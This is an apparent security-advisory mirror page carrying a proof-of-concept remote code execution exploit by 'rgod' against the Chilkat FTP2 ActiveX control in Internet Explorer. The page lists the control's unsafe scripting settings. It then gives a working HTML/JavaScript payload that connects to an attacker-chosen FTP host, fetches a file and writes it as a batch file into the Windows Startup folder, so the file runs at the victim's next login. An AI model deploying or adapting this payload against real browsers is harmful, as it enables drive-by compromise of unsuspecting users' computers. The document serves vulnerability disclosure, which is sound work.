SecurityvulnsSECURITYVULNS:DOC:25433Chilkat Software FTP2 ActiveX Component (ChilkatFtp2.DLL 2.6.1.1) Remote Code Execution poc
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Chilkat Software FTP2 ActiveX Component (ChilkatFtp2.DLL 2.6.1.1) Remote Code
Execution poc
by rgod
tested against Internet Explorer 7 on Vista
should also work with 8/9
ActiveX Settings:
CLSID: {302124C4-30A0-484A-9C7A-B51D5BA5306B}
Progid: ChilkatFtp2.ChilkatFtp2.1
Binary Path: C:\Windows\System32\CHILKA~2.DLL
KillBitted: False
Implements IObjectSafety: True
Safe For Initialization (IObjectSafety): True
Safe For Scripting (IObjectSafety): True
This class allows to copy/overwrite files inside arbitrary locations ex. by the
GetFile()
method. This code creates a batch file inside the automatic startup folder,
setup a ftp server allowing anonymous connections and place the code you want
to be retrieved.
This control is also used by lots of freeware applications, it was not documented
so I posted here.
Note that previous versions has a different clsid, I'm saying this for filtering
purposes.
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<html>
<object classid='clsid:302124C4-30A0-484A-9C7A-B51D5BA5306B' id='obj' />
</object>
<script>
obj.UnlockComponent("suntzu"); //needed for file transfer operations, type
whatever here
obj.Port=21; //configure ftp connection
obj.Hostname="192.168.0.1"; //change here
obj.ConnectTimeout=5;
obj.Passive=1;
var x;
x=obj.Connect();
if (x==1){
x = obj.GetFile("suntzu.txt","c:/Users/All Users/Microsoft/Windows/Start
Menu/Programs/Startup/suntzu.bat"); //boom
}
obj.Disconnect();
</script>
original url: http://retrogod.altervista.org/9sg_chilkat.html